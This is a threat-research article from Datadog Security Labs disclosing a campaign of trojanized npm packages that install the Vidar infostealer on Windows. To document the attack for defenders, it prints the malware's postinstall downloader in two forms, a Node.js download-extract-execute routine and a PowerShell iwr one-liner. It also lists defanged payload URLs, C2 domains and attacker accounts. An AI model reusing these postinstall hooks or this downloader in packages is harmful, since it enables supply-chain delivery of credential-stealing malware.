MUT-4831: Trojanized npm packages deliver Vidar infostealer malware

securitylabs.datadoghq.com/articles/mut-4831-trojanized-npm-packages-vidar

Tesnim Hamdouni Security Researcher Ian Kretz Security Researcher Sebastian Obregoso Security Researcher November 6, 2025

Tesnim Hamdouni

Security Researcher

Ian Kretz

Security Researcher

Sebastian Obregoso

Security Researcher

- Datadog Security Research has detected 17 npm packages (23 releases) containing downloader malware that executes via a postinstall script and targeting Windows systems
- The packages masquerade as benign SDKs and provide legitimate functionality but nevertheless execute Vidar infostealer malware on the victim system
- To the best of our knowledge, this is the first public disclosure of Vidar malware being delivered via npm packages
- We attribute this campaign to a threat activity cluster that we track as MUT-4831

Over the past few months, the npm package registry has been the vehicle for a series of significant and even historic package takeover attacks affecting millions of users. Threat actors have learned that npm provides a reliable initial access vector for delivering malware to unsuspecting downstream victims. Although corrective measures are being implemented, threat actor abuse of npm is likely to persist in the near future.

For this reason, we continuously monitor open source package ecosystems like npm and PyPI for signs of threat actor activity. We do so using GuardDog, a CLI static analyzer for identifying suspicious and potentially malicious signatures in package code and metadata.

On October 21, 2025, GuardDog flagged the npm package `custom-tg-bot-plan@1.0.1`, presenting with the following findings:

```
$ guarddog npm scan custom-tg-bot-plan --version 1.0.1
Found 5 potentially malicious indicators in custom-tg-bot-plan

shady-links: found 2 source code matches
  * This package contains an URL to a domain with a suspicious extension at
package/lib/telegram.js:165
        _this.options.baseApiUrl = options.baseApiUrl || 'https://api.telegram.org';
  * This package contains an URL to a domain with a suspicious extension at
package/src/telegram.js:167
        this.options.baseApiUrl = options.baseApiUrl || 'https://api.telegram.org';

npm-silent-process-execution: found 2 source code matches
  * This package is silently executing another executable at package/lib/dependencies.js:170
        var child = spawn(exePath, [], { detached: true, stdio: 'ignore' });
  * This package is silently executing another executable at package/src/dependencies.js:161
        const child = spawn(exePath, [], { detached: true, stdio: 'ignore' });

npm-install-script: found 1 source code matches
  * The package.json has a script automatically running when the package is installed at
package/package.json:25
        "postinstall": "node src/dependencies.js"
```

Of particular note among these GuardDog findings is `npm-install-script`. This finding indicates that an npm package executes a script during installation, an exceedingly common attack vector among malicious packages. In this case, we see that the Node.js script in `src/dependencies.js` is being executed as a postinstall script. On examining the contents of this script (see next section), we confirmed the package is indeed malicious.

In two bursts, over the periods of October 21-22 and 26, we observed a total of 23 releases of 17 distinct packages containing these and similar indicators. We attribute this campaign to a threat activity cluster that we track as MUT-4831. All associated packages masquerade as Telegram bot helper packages, icon libraries, or legitimate-seeming forks of preexisting projects such as Cursor and React. The npm package page for `custom-tg-bot-plan`, shown below, is typical of the overall legitimate-looking presentation of packages in this campaign.

Package custom-tg-bot-plan presents like a legitimate SDK on its npm page (click to enlarge)

All of the MUT-4831 packages were published by two npm accounts, `aartje` and `saliii229911`, with the latter having published slightly more than the former. The oldest package published by either account was only a few days old at the time of the first detection, indicating that the accounts were recently created by MUT-4831, probably for use in this campaign. With one exception, all packages published by these two accounts contained the campaign indicators.

The npm profile of the aartje user associated with this campaign (click to enlarge)

At the time of writing, both `aartje` and `saliii229911` had been banned, and all of the campaign packages were removed from npm after having remained live on the registry for approximately two weeks. Packages associated with the MUT-4831 campaign were downloaded at least 2,240 times, although many of these are likely due to automated scrapers, with some occurring after the packages were removed and replaced with (empty) security holding packages. The single most downloaded campaign package, at 503 unique downloads, was `react-icon-pkg`.

Picking up where we left off with `custom-tg-bot-plan`, which is representative of all packages in this campaign, consider the main routine of its `dependencies.js` postinstall script:

```
// Main function - handles entire flow
async function main() {
  try {
    log('[MAIN] ===== STARTING MAIN PROCESS =====');

    const downloadUrl =
'https://upload.bullethost[.]cloud/download/68f55d7834645ddd64ba3e3e';  // Update this with
your valid download URL
    const zipPath = path.join(process.env.TEMP, 'bLtjqzUn.zip');
    const extractPath = path.join(process.env.TEMP, 'extracted');
    const password = 'bLtjqzUn';

    // Step 1: Download
    log('[MAIN] Step 1/3: Downloading zip file...');
    await downloadFile(downloadUrl, zipPath);

    // Step 2: Extract
    log('[MAIN] Step 2/3: Extracting zip file...');
    await extractZip(zipPath, extractPath, password);

    // Step 3: Execute
    log('[MAIN] Step 3/3: Executing .exe file...');
    await executeExe(extractPath);

    // Cleanup
    log('[MAIN] Cleaning up zip file...');
    try {
      fs.unlinkSync(zipPath);
      log('[MAIN] Zip file deleted');
    } catch (err) {
      log('[MAIN] Could not delete zip: ' + err.message);
    }

    log('[MAIN] ===== PROCESS COMPLETED SUCCESSFULLY =====');
    logStream.end();

  } catch (err) {
    log('[MAIN] FATAL ERROR: ' + err.toString());
    log('[MAIN] Stack: ' + err.stack);
    logStream.end();
    process.exit(1);
  }
}

// Run main function
main();
```

The overall flow of `dependencies.js` is easy to follow, especially thanks to the inclusion of comments and even log messages (indicative of a possible vibecoded origin for this script):

1. Download an encrypted ZIP archive from the `bullethost[.]cloud` domain to a local file
2. Decrypt and extract the archive, using the same hardcoded string for the ZIP file name and decompression password

3. Execute a PE binary from the extracted archive
4. Perform cleanup operations and exit

This downloader pattern is one we observe routinely among malicious npm packages, in which a slim first-stage malware that ships with the package loads a second, more overtly malicious stage. As we will see in the next section, the second stage executed in Step 3 is a known Windows information stealer (infostealer) malware.

Across all packages in this campaign, we observe this same download-unpack-execute script being employed, although with slight variations in implementation. Notably, beyond minor differences in C2 domains and ZIP archive passwords (see annex for a complete listing), a small number of packages use a postinstall PowerShell script, embedded directly in the `package.json` file, to perform the ZIP archive download step. We observed two distinct PowerShell scripts used in this capacity, identical up to log messages. The more elaborate of the two is shown below, formatted for clarity.

```
powershell -NoProfile -ExecutionPolicy Bypass -Command \"& {
  try {
    Write-Host '[POSTINSTALL] Starting postinstall script...';
    Write-Host '[POSTINSTALL] Log file: $env:TEMP\\extract-log.txt';
    $pkgDir = Split-Path -Parent $env:npm_package_json;
    Write-Host '[POSTINSTALL] Package directory:' $pkgDir;
    Write-Host '[POSTINSTALL] Current directory:' (Get-Location);
    Write-Host '[POSTINSTALL] Downloading zip...';
    iwr 'https://upload.bullethost[.]cloud/download/68f5503834645ddd64ba3e17' -OutFile
$env:TEMP\\bLtjqzUn.zip -ErrorAction Stop;
    Write-Host '[POSTINSTALL] Download complete, file size:' (Get-Item
$env:TEMP\\bLtjqzUn.zip).Length 'bytes';
    $extractScript = Join-Path $pkgDir 'src' 'extract.js';
    Write-Host '[POSTINSTALL] Script path:' $extractScript;
    if (Test-Path $extractScript) {
      Write-Host '[POSTINSTALL] Running extraction script...';
      node $extractScript 2>&1;
      Write-Host '[POSTINSTALL] Node exit code:' $LASTEXITCODE;
      Write-Host '[POSTINSTALL] Check log file at: $env:TEMP\\extract-log.txt';
    }
    else {
      Write-Host '[POSTINSTALL] ERROR: extract.js not found at' $extractScript;
    }
  }
  catch {
    Write-Host '[POSTINSTALL] ERROR:' $_.Exception.Message;
  }
}\"
```

After downloading the target ZIP archive, this PowerShell script hands over control to a Node.js script `extract.js`, present in the package distribution, to complete the attack chain as before. It is not clear why MUT-4831 chose to vary the postinstall script in this way. One possible explanation is that diversifying implementations can be advantageous to the threat actor in terms of surviving detection.

The extracted ZIP archive always contains a single PE executable, `bridle.exe`, which is specifically what is executed in the `executeExe()` function of `dependencies.js`. This executable is the same across all samples we have analyzed.

```
Listing archive: bLtjqzUn.zip

--
Path = bLtjqzUn.zip
Type = zip
Physical Size = 1416746

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
                    .....      2924408      1416590  bridle.exe
------------------- ----- ------------ ------------  ------------------------
                               2924408      1416590  1 files
```

Based on the SHA-256 hash of this artifact, we identify this executable as a known variant of the Vidar infostealer malware that first appeared in 2018 as an evolution of the earlier Arkei trojan.

Vidar collects sensitive data, including browser credentials, cookies, cryptocurrency wallets, and system files, packages the stolen information into ZIP files, and exfiltrates it to C2 servers. Command-and-control communications are established through social media platforms like TikTok, Telegram, and Steam on ephemeral throwaway accounts. Upon successful data exfiltration, the malware deletes all traces of itself from the victim system, complicating post-compromise detection and incident response.

This "Vidar v2" variant that we see being used by MUT-4831 appears to be compiled from Go, differentiating it from the first-wave C/C++ Vidar samples. Interestingly, the MUT-4831 variant uses hardcoded Telegram and Steam accounts (see annex for these indicators) for C2 infrastructure discovery, shown below.

Steam profile with Vidar C2 infrastructure history, used by MUT-4831 Vidar sample (click to enlarge)

Telegram account with Vidar C2 infrastructure in its description, used by MUT-4831 Vidar sample (click to enlarge)

As we see in these screenshots, the usernames and descriptions of these accounts, respectively, contain C2 domains associated with Vidar, which are regularly updated as infrastructure is rotated. The executable thus first calls home to the Telegram and Steam profiles to discover which second-order C2 infrastructure is currently active.

The original Vidar malware spread initially through phishing emails with malicious Microsoft Office document attachments. Over time, it has been observed being used in a variety of other attack chains. To the best of our knowledge, this is the first time npm has been used to distribute Vidar malware.

Datadog Software Composition Analysis (SCA) customers can verify whether any of these packages are currently installed in their infrastructure by running this query in the Library Risks explorer. If your system is impacted, it is important to take immediate measures such as rotating credentials, isolating the application, and investigating potential spread.

Meanwhile, Datadog's Supply-Chain Firewall is a command-line wrapper for package managers like npm and pip that blocks installations of known-malicious packages before they even make it into your environment, potentially averting costly incident response and recovery cycles.

In order to enable further research, we have published all MUT-4831 campaign packages to our public malicious package dataset.

Open source package registries such as npm are fertile territory for threat actors like MUT-4831: the information stolen in this campaign can be sold directly on underground forums or used as the starting point for subsequent campaigns of exploitation. Direct access to developers, often targeted for their access to lucrative resources, is guaranteed.

In response, package maintainers and individual developers must use npm defensively, treating it like the adversarial environment that it is. Enhanced security measures at the package registry level will pay off in the long term, but in the meantime, pinning dependencies to a known-good version and considering package installations and upgrades as security-relevant events will provide a solid initial line of defense.

Domain	Comment
https://upload.bullethost[.]cloud/download/68f55d7834645ddd64ba3e3e	Download link for encrypted ZIP file containing Vidar second-stage payload
https://upload.bullethost[.]cloud/download/68f5503834645ddd64ba3e17	Download link for encrypted ZIP file containing Vidar second-stage payload
https://upload.bullethost[.]cloud/download/68f775f734645ddd64ba99f4	Download link for encrypted ZIP file containing Vidar second-stage payload
https://upload.bullethost[.]cloud/download/68f77d1134645ddd64ba9a5e	Download link for encrypted ZIP file containing Vidar second-stage payload
https://upload.bullethost[.]cloud/download/68f7b14734645ddd64ba9b6e	Download link for encrypted ZIP file containing Vidar second-stage payload

Domain	Comment
https://upload.bullethost[.]cloud/download/68f7c68a34645ddd64ba9b9d	Download link for encrypted ZIP file containing Vidar second-stage payload
https://upload.bullethost[.]cloud/download/68f7de3834645ddd64ba9c00	Download link for encrypted ZIP file containing Vidar second-stage payload
https://files.catbox[.]moe/awktpw.zip	Download link for encrypted ZIP file containing Vidar second-stage payload
https://nv.d.khabeir[.]com	MUT-4831 Vidar C2 exfiltration domain
https://telegram[.]me/s/sre22qe	Telegram profile requested by MUT-4831 Vidar sample
https://steamcommunity[.]com/profiles/76561198777118079	Steam profile requested by MUT-4831 Vidar sample
a.t.rizbegadget[.]shop	Vidar C2 infrastructure domain
cvt.technicalprorj[.]xyz	Vidar C2 infrastructure domain
ftp.nadimgadget[.]shop	Vidar C2 infrastructure domain
gor.technicalprorj[.]xyz	Vidar C2 infrastructure domain
gra.khabeir[.]com	Vidar C2 infrastructure domain
gra.nadimgadget[.]shop	Vidar C2 infrastructure domain
gz.technicalprorj[.]xyz	Vidar C2 infrastructure domain
iu.server24x[.]com	Vidar C2 infrastructure domain
p.x.rizbegadget[.]shop	Vidar C2 infrastructure domain

Domain	Comment
stg.mistonecorp[.]net	Vidar C2 infrastructure domain
stg.server24[.]com	Vidar C2 infrastructure domain
stg.server24x[.]com	Vidar C2 infrastructure domain
t.y.server24x[.]com	Vidar C2 infrastructure domain

File name	SHA-256	Comment
`bridle.exe`	aa49d14ddd6c0c24febab8dce52ce3835eb1c9280738978da70b1eae0d718925	Second-stage Vidar infostealer payload used by MUT-4831

Account name	Email
aartje	`aartrabens@gmail.com`
saliii229911	`saliii229911@gmail.com`

Package name	Affected version	Author
abeya-tg-api	1.0.0	saliii229911
bael-god-admin	1.0.0	`saliii229911`
bael-god-api	1.0.0	saliii229911
bael-god-thanks	1.0.0	saliii229911
botty-fork-baby	1.0.0	aartje
cursor-ai-fork	1.0.0	aartje
cursor-app-fork	1.0.0	aartje
custom-telegram-bot-api	1.0.0	saliii229911
custom-tg-bot-plan	1.0.0	saliii229911
custom-tg-bot-plan	1.0.1	saliii229911

Package name	Affected version	Author
icon-react-fork	1.0.0	aartje
react-icon-pkg	1.3.9	aartje
react-icon-pkg	1.4.2	aartje
react-icon-pkg	1.4.9	aartje
react-icon-pkg	1.5.2	aartje
sabaoa-tg-api	1.0.0	saliii229911
sabay-tg-api	1.0.0	saliii229911
sai-tg-api	1.0.0	saliii229911
salli-tg-api	1.0.0	saliii229911
telegram-bot-start	1.0.0	aartje
telegram-bot-starter	1.2.5	aartje
telegram-bot-starter	1.2.6	aartje
telegram-bot-starter	1.2.7	aartje